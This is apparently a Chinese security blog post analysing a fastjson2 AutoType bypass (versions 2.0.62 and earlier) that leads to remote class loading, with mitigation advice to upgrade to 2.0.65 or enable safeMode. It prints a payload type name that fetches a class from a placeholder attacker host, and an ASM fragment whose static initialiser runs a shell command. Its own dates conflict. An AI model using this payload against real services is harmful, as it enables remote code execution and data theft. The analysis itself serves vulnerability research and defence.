文章总结: fastjson2在默认配置下存在AutoType授权绕过漏洞,影响2.0.62及以下版本。攻击者通过多态反序列化路径(@JSONTypeseeAlso或Jackson@JsonSubTypes)可触发远程类加载,实现RCE或SSRF。官方已在2.0.65修复,建议升级或开启safeMode缓解。
综合评分: 85
文章分类: 漏洞分析,应用安全,安全工具
Fastjson 2 AutoType 授权绕过——默认配置也能被带出远程类加载
原创
CabinQ
CabinQ
逆熵寻生
2026年9月19日 09:02
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Fastjson 2 AutoType 授权绕过——默认配置下也能被带出远程类加载
讲 Fastjson 2(fastjson2)之前,得先把它和老 Fastjson(fastjson 1.x)摘干净。很多人一听”Fastjson”就想到 CVE-2017-18349、CVE-2022-25845 那一串反序列化漏洞,以为 fastjson2 是 fastjson1 修复漏洞后出的新版本,漏洞情况也差不多。
这个理解是错的。fastjson2 是阿里重写的 JSON 库(groupId 从 com.alibaba 换成 com.alibaba.fastjson2),底层架构整个换过,老 Fastjson 1.x 的黑名单类、JNDI 那些利用链,它基本不吃这套。所以 2026 年到现在,主流漏洞库确实没给 fastjson2 收录过一条 CVE。
但”没有 CVE”不等于”没风险”。2026 年 7 月底,业内陆续有人放出 fastjson2 在默认配置下也能被带出远程类加载的研究,直指它自己那套多态反序列化(@JSONType(seeAlso))机制。2026 年 9 月 2 日(也就是今天),官方发布 2.0.65,明确这就是一个安全修复版本,修的就是一条 AutoType 授权绕过。这篇文章把这条链掰开讲清楚。
一、漏洞概述
🔹 影响版本:fastjson2 ≤ 2.0.62(AutoType 默认关闭也能打)
🔹 触发前提:解析路径里存在多态类型(@JSONType(seeAlso=…),或字段上是 Jackson 的 @JsonSubTypes)
🔹 利用结果:JDK 8 / 21 可远程类加载并执行 <clinit>,JDK 9+ 某些情况降级为 SSRF
🔹 官方修复:2.0.65(2026-09-02 发布),PR #7695 / #7703
🔹 临时缓解:-Dfastjson2.parser.safeMode=true
一句话概括:fastjson2 默认不开 AutoType,看起来很稳,但只要目标代码用了多态建模,ObjectReaderSeeAlso 会在构造对象读取器时自己把 SupportAutoType 打开,于是攻击者放进 @type 的 jar:http:.. 串一路走到了类加载器,把远程的恶意类拉下来执行。
二、漏洞原理
fastjson2 的官方安全设计是三层:
1. AutoType 默认关闭——普通 @type 默认不解析成任意类
2. SafeMode——完全禁用 AutoType,连显式传参也不认
3. deny list(黑名单)+ type name 校验——拦截 ClassLoader、DataSource、RowSet 等危险类
这套设计对”普通 JSON.parse / parseObject(body, Object.class)“确实有效。但问题出在多态类型这条路。
fastjson2 支持多态建模:一个父类标记了子类,比如 Animal 上用 @JSONType(seeAlso = {Dog.class, Cat.class}),那么序列化/反序列化时按 @type 字段在子类之间分发。为了实现这个分发,它构造的是 ObjectReaderSeeAlso。这个 reader 的构造函数里,硬编码了一段:
// ObjectReaderSeeAlso.java 构造函数
this.features = SupportAutoType.mask; // 直接把 SupportAutoType 置位
ObjectReaderAdapter.getFeatures() 会把它取出来。到真正的解析时:
// 门控判断
boolean supportAutoType = ((readerFeatures | ctxFeatures | features) & SupportAutoType.mask) != 0;
// 永远为 true → 即使应用从未显式开启 AutoType
也就是说,只要触发了 seeAlso 多态路径,AutoType 的开关就被这个 reader 自己拨到了 ON。应用代码一行 AutoType 都没开,但这条链上的 @type 会被当作 AutoType 处理。这就是”授权绕过”的本质——@type 的哈希命中了 reader 缓存,被当成了”已经授权过”的类名。
三、关键:checkAutoType 里的一条无校验回退
AutoType 打开之后,ObjectReaderProvider.checkAutoType 会读这个 @type。它对类名做增量 FNV-1a-64 哈希,逐个前缀去比对 acceptHashCodes(白名单哈希)。攻击者随便写个 jar:http:.. 开头的名字,哈希必然不命中。按正常逻辑,不命中就该拒绝。但看 fastjson2 2.0.53 这段代码:
for (int i = 0; i < typeName.length(); i++) {
hash ^= typeName.charAt(i);
hash *= MAGIC_PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
return loadClass(typeName); // 哈希命中 → 直接加载
}
}
if (!supportAutoType) {
return null; // 普通 JSON 解析:不命中就到这里,返回 null
}
// SupportAutoType 已开启 → 直接回退加载,没有任何哈希校验
Class> mapped = TypeUtils.getMapping(typeName);
if (mapped != null) { … return mapped; }
clazz = TypeUtils.loadClass(typeName); // ← 第 561 行,无哈希校验,直接用攻击者字符串
普通路径(supportAutoType=false)下,哈希不命中就 return null 收工,这条链也就断了。但 seeAlso reader 已经把它置成 true,于是走到了最后的 TypeUtils.loadClass(typeName)——这里没有哈希校验,攻击者的字符串被原样交给类加载器。后面的 ClassLoader/DataSource/RowSet 黑名单检查发生在 loadClass之后,拦不住这次加载本身。
四、jar:http: 与点号技巧——绕 JDK 的 checkName
类名是 jar:http:..203.0.113.10:18080.exploit!.Evil 这种,要走到 URLClassLoader.findClass 有两个坑要过。
坑一:JDK ClassLoader.checkName 拒绝含 / 的二进制类名。
// 含 / 会被拒
“jar:http://203.0.113.10:18080/exploit!/Evil” → checkName 失败 → NoClassDefFoundError
// 用点号替代 / ,checkName 放行
“jar:http:..203.0.113.10:18080.exploit!.Evil” → checkName 通过 ✓
坑二:URLClassLoader.findClass 内部会把 . 换成 / 再拼 .class。
String path = name.replace(‘.’, ‘/’).concat(“.class”);
// “jar:http:..203.0.113.10:18080.exploit!.Evil” → “jar:http://203.0.113.10:18080/exploit!/Evil.class”
点号和斜杠的换算关系:
| 原始 URL | 点号形式 | findClass replace(‘.’,’/’) 后 |
| — | — | — |
| http:// | http:.. | http:// |
| /exploit!/ | .exploit!. | /exploit!/ |
于是请求变成了对攻击者 HTTP 服务器的 GET /exploit,拉下来一个 JAR,里面是 Evil.class。
五、泛型派生态检查与 clinit 执行
类下载并 defineClass 之后,checkAutoType 还有一次类型兼容检查:
// 必须能赋值给声明的父类
Animal.isAssignableFrom(Evil) → true 才放行
所以恶意类必须继承声明的那个多态父类(比如 Animal)。这在攻击者那边不是问题——目标类名一旦暴露(如 com.vuln.fastjson.Animal),用 ASM 动态生成一个继承它的子类即可,构建时就能做,不依赖目标环境里的字节码。下面这段是 PoC 里用 ASM 生成 Evil 的核心:
// GenPayload.java —— 生成的 Evil 继承 Animal,内联 /bin/bash-c”
cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, internal,
null, “com/vuln/fastjson/Animal”, null);
// … 构造方法调用 super(Animal.
mv = cw.visitMethod(Opcodes.ACC_STATIC, “
// 静态初始化块里 Runtime.getRuntime().exec(“/bin/bash”,”-c”,”
类被加载、defineClass 通过类型检查的瞬间,JVM 会执行 <clinit> 静态初始化块,命令随之执行,攻击者通过回调服务器把外带结果收回来。整个过程目标应用一次 AutoType 都没敢开过。
六、影响范围与几个值得注意的点
版本与 JDK。 heart147 那个 PoC(专门做 fastjson2 RCE 的)标注:fastjson2 ≤ 2.0.62,JDK 8 和 JDK 21 均实测完整 RCE,JDK 11/17 预期可行。dinosn 那个 Docker 复现环境则明确:fastjson2 2.0.57 / 2.0.62 在默认配置下都能拉到远程类并初始化(2.0.62 默认构建),但 JDK 17 下 defineClass 会因为”非法类名”抛 ClassFormatError,净效果从 RCE 降级成 SSRF。
Jackson 注解也中招。 fastjson2 默认 useJacksonAnnotation=true,所以模型上只写了 Jackson 的 @JsonSubTypes / @JsonTypeInfo 也能触发 seeAlso 路径,不需要目标项目用 fastjson2 自己的 @JSONType 注解。这对很多”为了稳妥换到 fastjson2、但其实还在用 Jackson 老模型”的项目是个提醒。
autoTypeFilter 不是白名单。 有人以为设了 autoTypeFilter("com.example.") 就只放行自家包。实际情况是:ObjectReaderProvider.checkAutoType 调 handler,只在 handler 返回非空(即命中)时短路;名字不匹配时 handler 返回 null,代码继续往下走正常的 AutoType 解析。也就是说它是个”额外放行”的钩子,不是”仅允许”的过滤器。用它当边界,等于没有边界。
2.0.65 修了什么。 官方发布说明写得清楚:@type 的 FNV-1a-64 哈希命中 reader-cache 不再作为授权依据,所有不可信输入路径(JSON、JSONB 的各类 reader)的 @type 都要走完整的 provider 安全检查——SafeMode、deny list、类型名校验、AutoTypeBeforeHandler。也就是说,不再有”哈希命中即放行”的快捷通道。对应的硬化的 PR 是 #7695 / #7703(拒绝含 : 和 ! 的 typeName、哈希命中后二次文本校验、把 ClassLoader/DataSource/RowSet 黑名单补到非 SupportAutoType 路径)。
七、PoC 工具
漏洞利用工具各位大佬网上搜一下就有,我就不主动传播了。如有需要,也可以在评论区回复:fastjson2-rce。
结语
fastjson2 和老 Fastjson 不是一回事,这个认知在排查反序列化问题时很关键。它的 AutoType 默认关闭,挡住了绝大多数传统利用链,但多态反序列化这条旁路在 2.0.62 及以前是敞开的:一个 @JSONType(seeAlso) 或 Jackson 的 @JsonSubTypes 就能让 reader 自己把 AutoType 打开,jar:http:.. 直接把远程类拉进 JVM。2.0.65 是官方针对这条链的安全修复版,9 月 2 日刚发布。判断一个 Java 服务有没有暴露面,别只看它挂了哪个库、开了哪个开关,要看具体走的是哪条解析路径。技巧也好,踩坑也好,都在这些细节里。
关注我,持续不断地成长!
往期推荐:
【重磅】WebLogic RCE全家桶|15个CVE的完整POC
【重磅】Redis 漏洞利用全路径:从发现到 RCE,2026 最新实战
【重磅】WordPress漏洞利用全景:红队实战手册+2026年五大顶级CVE复现
【重磅】Apache Nacos 漏洞利用全路径:从默认凭证到集群级 RCE,2026 最新实战手册
【重磅】Apache Struts2漏洞利用全链路实战手册(攻击视角)
【重磅】Confluence漏洞利用全集:从模板注入到管理员接管的全攻击路径
【重磅】Apache Tomcat漏洞利用全路径(攻击者视角)
【重磅】Jenkins漏洞利用全集:从CLI文件读取到Groovy RCE,CI/CD攻击链全实战
【重磅】phpMyAdmin漏洞利用全路径:从文件包含到SQL注入(攻击者视角)
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:逆熵寻生 CabinQ
CabinQ《Fastjson 2 AutoType 授权绕过——默认配置也能被带出远程类加载》